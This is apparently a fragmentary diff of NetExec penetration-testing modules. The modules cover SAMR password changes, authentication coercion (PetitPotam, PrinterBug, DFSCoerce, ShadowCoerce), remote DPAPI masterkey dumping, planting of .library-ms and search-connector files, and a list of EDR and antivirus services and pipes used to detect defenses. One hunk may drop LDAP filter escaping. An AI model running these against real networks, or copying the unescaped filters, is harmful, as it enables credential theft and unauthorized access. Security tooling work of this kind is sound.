if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
|
||||
context.log.warning("Password must be changed. Trying with null session.")
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
|
||||
elif "STATUS_LOGON_FAILURE" in str(e):
|
||||
@@ -122,7 +113,12 @@ class NXCModule:
|
||||
else:
|
||||
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
|
||||
except Exception as e:
|
||||
context.log.fail(f"SMB-SAMR password change failed: {e}")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
|
||||
elif "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"User '{target_username}' not found or not resolvable")
|
||||
else:
|
||||
context.log.fail(f"SMB-SAMR password change failed: {e}")
|
||||
finally:
|
||||
self.dce.disconnect()
|
||||
|
||||
@@ -145,13 +141,9 @@ class NXCModule:
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
|
||||
def _hSamrOpenUser(self, connection, username):
|
||||
"""Get handle to the user object"""
|
||||
try:
|
||||
# Connect to the target server and retrieve handles
|
||||
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
|
||||
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to open user: {e}")
|
||||
"""Connect to the target server and retrieve the user handle"""
|
||||
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
|
||||
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
|
||||
+19
-22
@@ -1,4 +1,5 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
@@ -47,14 +48,13 @@ class NXCModule:
|
||||
"""DFSCOERCE START"""
|
||||
try:
|
||||
dfscocerceclass = DFSCoerceTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
dfscocerceconnect = dfscocerceclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -78,14 +78,13 @@ class NXCModule:
|
||||
""" ShadowCoerce START """
|
||||
try:
|
||||
shadowcocerceclass = ShadowCoerceTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
shadowcocerceconnect = shadowcocerceclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -113,14 +112,13 @@ class NXCModule:
|
||||
context.log.debug(f"Trying to connect to {pipe} pipe")
|
||||
try:
|
||||
petitpotamclass = PetitPotamtTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
petitpotamconnect = petitpotamclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -150,14 +148,13 @@ class NXCModule:
|
||||
for pipe in pipes:
|
||||
try:
|
||||
printerbugclass = PrinterBugTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
printerbugconnect = printerbugclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -168,7 +165,7 @@ class NXCModule:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
context.log.highlight("VULNERABLE, PrinterBug")
|
||||
if self.listener is not None: # exploit
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
|
||||
if not self.always_continue and exploit_status:
|
||||
break
|
||||
printerbugconnect.disconnect()
|
||||
@@ -183,14 +180,13 @@ class NXCModule:
|
||||
""" MSEVEN START """
|
||||
try:
|
||||
msevenclass = MSEvenTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenconnect = msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -212,14 +208,14 @@ class NXCModule:
|
||||
context.log.error("Invalid method, please check the method name.")
|
||||
return
|
||||
|
||||
@staticmethod
|
||||
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
|
||||
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
|
||||
|
||||
class ShadowCoerceTrigger:
|
||||
@@ -541,7 +537,7 @@ class PetitPotamtTrigger:
|
||||
# activates EFS
|
||||
# https://specterops.io/blog/2025/08/19/will-webclient-start/
|
||||
with contextlib.suppress(Exception):
|
||||
NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
|
||||
get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpctransport.set_dport(445)
|
||||
@@ -778,11 +774,12 @@ class PrinterBugTrigger:
|
||||
"port": 445
|
||||
},
|
||||
"[dcerpc]": {
|
||||
"stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
|
||||
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
||||
"port": None
|
||||
}
|
||||
}
|
||||
if pipe == "[dcerpc]":
|
||||
binding_params["[dcerpc]"]["stringBinding"] = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target)
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
if binding_params[pipe]["port"] is not None:
|
||||
rpctransport.set_dport(binding_params[pipe]["port"])
|
||||
@@ -1082,7 +1079,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("Length", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
|
||||
+11
-11
@@ -3,16 +3,16 @@ import json
|
||||
import datetime
|
||||
from enum import Enum
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.ldap.ldapasn1 import SDFlagsControl
|
||||
from impacket.uuid import bin_to_string
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
import sys
|
||||
import traceback
|
||||
from os.path import isfile
|
||||
|
||||
|
||||
OBJECT_TYPES_GUID = {}
|
||||
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
|
||||
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
|
||||
@@ -190,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
||||
|
||||
|
||||
SEARCH_FILTERS = {
|
||||
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
|
||||
"TARGET": lambda target: f"(sAMAccountName={target})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={target})"
|
||||
}
|
||||
|
||||
|
||||
@@ -200,7 +200,7 @@ class NXCModule:
|
||||
|
||||
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
|
||||
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
|
||||
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
|
||||
It could be interesting to implement the write/remove functions here.
|
||||
"""
|
||||
|
||||
name = "daclread"
|
||||
@@ -249,10 +249,10 @@ class NXCModule:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options[option]):
|
||||
try:
|
||||
target_file = open(module_options[option]) # noqa: SIM115
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
with open(module_options[option]) as target_file:
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
@@ -288,7 +288,7 @@ class NXCModule:
|
||||
if self.principal_sAMAccountName is not None:
|
||||
try:
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
|
||||
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
@@ -306,7 +306,7 @@ class NXCModule:
|
||||
resp = connection.search(
|
||||
searchFilter=search_filter(target),
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -19,33 +16,11 @@ class NXCModule:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
target=connection.dpapi_triage.target,
|
||||
conn=connection.dpapi_triage.conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
|
||||
@@ -50,6 +50,7 @@ class NXCModule:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug(f"CLEANUP is set to {self.cleanup}")
|
||||
|
||||
self.lms_name = module_options["NAME"]
|
||||
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
|
||||
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
|
||||
|
||||
|
||||
@@ -47,7 +47,7 @@ class NXCModule:
|
||||
with open(self.scfile_path, "w") as scfile:
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
|
||||
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
|
||||
@@ -13,7 +13,7 @@ class NXCModule:
|
||||
"""
|
||||
FILE_NAME Name of the file which will be tried to create and afterwards delete
|
||||
SHARE_NAME If set, ONLY this share will be used
|
||||
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
|
||||
EXCLUDED_SHARES List of share names which will not be used, separated by comma
|
||||
"""
|
||||
|
||||
def on_login(self, context: Context, connection):
|
||||
|
||||
+93
-116
@@ -3,11 +3,11 @@
|
||||
# Module by @mpgn_x64
|
||||
# https://twitter.com/mpgn_x64
|
||||
|
||||
from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5 import lsat, lsad
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -45,20 +45,8 @@ class NXCModule:
|
||||
results = {}
|
||||
|
||||
try:
|
||||
lsa = LsaLookupNames(
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=target,
|
||||
do_kerberos=connection.kerberos,
|
||||
remoteHost=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey
|
||||
)
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
lsa = LsaLookupNames(connection=connection)
|
||||
dce = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
@@ -103,82 +91,11 @@ class NXCModule:
|
||||
|
||||
|
||||
class LsaLookupNames:
|
||||
timeout = None
|
||||
authn_level = None
|
||||
protocol = None
|
||||
transfer_syntax = None
|
||||
machine_account = False
|
||||
def __init__(self, connection=None):
|
||||
self.connection = connection
|
||||
|
||||
iface_uuid = lsat.MSRPC_UUID_LSAT
|
||||
authn = True
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
domain="",
|
||||
username="",
|
||||
password="",
|
||||
remote_name="",
|
||||
do_kerberos=False,
|
||||
remoteHost="",
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey="",
|
||||
):
|
||||
self.domain = domain
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.remoteName = remote_name
|
||||
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
|
||||
self.doKerberos = do_kerberos
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.aesKey = aesKey
|
||||
self.kdcHost = kdcHost
|
||||
self.remoteHost = remoteHost
|
||||
|
||||
def connect(self, string_binding=None, iface_uuid=None):
|
||||
"""Obtains a RPC Transport and a DCE interface according to the bindings and
|
||||
transfer syntax specified.
|
||||
:return: tuple of DCE/RPC and RPC Transport objects
|
||||
:rtype: (DCERPC_v5, DCERPCTransport)
|
||||
"""
|
||||
string_binding = string_binding or self.string_binding
|
||||
if not string_binding:
|
||||
raise NotImplementedError("String binding must be defined")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.remoteHost)
|
||||
|
||||
# Set timeout if defined
|
||||
if self.timeout:
|
||||
rpc_transport.set_connect_timeout(self.timeout)
|
||||
|
||||
# Authenticate if specified
|
||||
if self.authn and hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
|
||||
|
||||
if self.doKerberos:
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
|
||||
|
||||
# Gets the DCE RPC object
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
|
||||
if self.doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
# Connect
|
||||
dce.connect()
|
||||
|
||||
# Bind if specified
|
||||
iface_uuid = iface_uuid or self.iface_uuid
|
||||
if iface_uuid and self.transfer_syntax:
|
||||
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
|
||||
elif iface_uuid:
|
||||
dce.bind(iface_uuid)
|
||||
|
||||
return dce, rpc_transport
|
||||
def connect(self):
|
||||
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
|
||||
|
||||
def open_policy(self, dce):
|
||||
request = lsad.LsarOpenPolicy2()
|
||||
@@ -210,6 +127,27 @@ conf = {
|
||||
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Arctic Wolf",
|
||||
"services": [
|
||||
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
|
||||
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Avast / AVG",
|
||||
"services": [
|
||||
{"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
|
||||
{"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
|
||||
{"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
|
||||
{"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
|
||||
{"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Bitdefender",
|
||||
"services": [
|
||||
@@ -240,18 +178,28 @@ conf = {
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
"name": "Check Point Endpoint Security",
|
||||
"services": [
|
||||
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
|
||||
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
|
||||
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
|
||||
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Cortex",
|
||||
"services": [
|
||||
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
|
||||
{"name": "cyserver", "description": " Cortex XDR"}
|
||||
{"name": "cyserver", "description": "Cortex XDR"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
@@ -265,16 +213,23 @@ conf = {
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Check Point Endpoint Security",
|
||||
"name": "Cynet",
|
||||
"services": [
|
||||
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
|
||||
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
|
||||
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
|
||||
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
|
||||
|
||||
{"name": "CynetLauncher", "description": "CynetLauncher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Elastic EDR",
|
||||
"services": [
|
||||
{"name": "Elastic Agent", "description": "Elastic Agent Service"},
|
||||
{"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
|
||||
{"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "ESET",
|
||||
"services": [
|
||||
@@ -319,7 +274,22 @@ conf = {
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Ivanti Security",
|
||||
"name": "HarfangLab EDR",
|
||||
"services": [
|
||||
{"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
|
||||
{"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
|
||||
{"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
|
||||
{"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
|
||||
{"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "hurukai-control", "processes": ["hurukai.exe"]},
|
||||
{"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
|
||||
{"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Ivanti Security",
|
||||
"services": [
|
||||
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
|
||||
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
|
||||
@@ -373,6 +343,11 @@ conf = {
|
||||
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Rapid7",
|
||||
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
@@ -386,20 +361,6 @@ conf = {
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Rapid7",
|
||||
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
@@ -420,6 +381,15 @@ conf = {
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Trellix Endpoint Detection and Response (EDR)",
|
||||
"services": [
|
||||
@@ -462,6 +432,13 @@ conf = {
|
||||
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Wazuh",
|
||||
"services": [
|
||||
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
|
||||
+16
-1
@@ -7,6 +7,8 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -68,8 +70,18 @@ class NXCModule:
|
||||
else:
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
dce = None
|
||||
try:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
if int(self.__port) == 135:
|
||||
rpc = NXCRPCConnection(connection, force_tcp=True)
|
||||
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
|
||||
dce = rpc.rpc_transport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
entries = list(epm.hept_lookup(None, dce=dce))
|
||||
else:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
@@ -81,6 +93,9 @@ class NXCModule:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
@@ -0,0 +1,245 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
